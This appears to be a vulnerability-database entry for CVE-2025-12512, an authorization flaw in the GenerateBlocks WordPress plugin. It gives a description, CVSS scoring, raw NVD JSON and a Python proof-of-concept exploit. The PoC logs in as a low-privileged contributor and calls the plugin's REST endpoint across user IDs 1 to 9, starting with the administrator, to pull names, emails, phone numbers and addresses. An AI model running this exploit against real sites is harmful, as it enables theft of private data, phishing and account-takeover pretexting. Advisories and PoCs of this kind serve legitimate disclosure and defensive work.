Security Vulnerability Report
中文
CVE-2025-12512 CVSS 4.3 MEDIUM

CVE-2025-12512

Published: 2025-12-13 16:16:47
Last Modified: 2026-04-15 00:35:42

Description

The GenerateBlocks plugin for WordPress is vulnerable to information exposure due to missing object-level authorization checks in versions up to, and including, 2.1.2. This is due to the plugin registering multiple REST API routes under `generateblocks/v1/meta/` that gate access with `current_user_can('edit_posts')`, which is granted to low-privileged roles such as Contributor. The handlers accept arbitrary entity IDs (user IDs, post IDs, etc.) and meta keys, returning any requested metadata with only a short blacklist of password-like keys for protection. There is no object-level authorization ensuring the caller is requesting only their own data, and there is no allowlist of safe keys. This makes it possible for authenticated attackers, with Contributor-level access and above, to exfiltrate personally identifiable information (PII) and other sensitive profile data of administrator accounts or any other users by directly querying user meta keys via the exposed endpoints via the `get_user_meta_rest` function. In typical WordPress + WooCommerce setups, this includes names, email, phone, and address fields that WooCommerce stores in user meta, enabling targeted phishing, account takeover pretexting, and privacy breaches.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

GenerateBlocks plugin for WordPress <= 2.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-12512 PoC - GenerateBlocks Information Disclosure # Target: WordPress site with GenerateBlocks plugin <= 2.1.2 TARGET_URL = "https://target-wordpress-site.com" USERNAME = "attacker_contributor" PASSWORD = "attacker_password" def get_auth_token(): """Authenticate and get WordPress REST API nonce""" session = requests.Session() # Get WooCommerce REST API nonce via login login_url = f"{TARGET_URL}/wp-login.php" session.post(login_url, data={ 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In' }) return session def exploit_user_meta(session, user_id, meta_key): """Query user meta via GenerateBlocks REST API endpoint""" # Exploit endpoint: generateblocks/v1/meta/get_user_meta_rest url = f"{TARGET_URL}/wp-json/generateblocks/v1/meta/get_user_meta_rest" params = { 'user_id': user_id, 'meta_key': meta_key } response = session.get(url, params=params) return response.json() if response.status_code == 200 else None def main(): session = get_auth_token() # Target WooCommerce user data (common meta keys) sensitive_keys = [ 'billing_first_name', 'billing_last_name', 'billing_email', 'billing_phone', 'billing_address_1', 'billing_city', 'billing_postcode', 'first_name', 'last_name', 'nickname', 'description' ] print("[*] CVE-2025-12512 Exploitation - GenerateBlocks Info Leak") print(f"[*] Target: {TARGET_URL}\n") # Enumerate users (start from admin user_id=1) for user_id in range(1, 10): print(f"[*] Checking user_id={user_id}...") for meta_key in sensitive_keys: result = exploit_user_meta(session, user_id, meta_key) if result and result.get('data'): print(f" [+] Found: {meta_key} = {result['data']}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12512", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:46.530", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The GenerateBlocks plugin for WordPress is vulnerable to information exposure due to missing object-level authorization checks in versions up to, and including, 2.1.2. This is due to the plugin registering multiple REST API routes under `generateblocks/v1/meta/` that gate access with `current_user_can('edit_posts')`, which is granted to low-privileged roles such as Contributor. The handlers accept arbitrary entity IDs (user IDs, post IDs, etc.) and meta keys, returning any requested metadata with only a short blacklist of password-like keys for protection. There is no object-level authorization ensuring the caller is requesting only their own data, and there is no allowlist of safe keys. This makes it possible for authenticated attackers, with Contributor-level access and above, to exfiltrate personally identifiable information (PII) and other sensitive profile data of administrator accounts or any other users by directly querying user meta keys via the exposed endpoints via the `get_user_meta_rest` function. In typical WordPress + WooCommerce setups, this includes names, email, phone, and address fields that WooCommerce stores in user meta, enabling targeted phishing, account takeover pretexting, and privacy breaches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.1.1/includes/class-meta-handler.php#L297", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.1.1/includes/class-meta-handler.php#L56", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.1.1/includes/class-meta-handler.php#L61", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3415721/generateblocks/trunk/includes/class-meta-handler.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6affdb56-39cc-4749-b7cb-b80b7666f028?source=cve", "source": "[email protected]"}]}}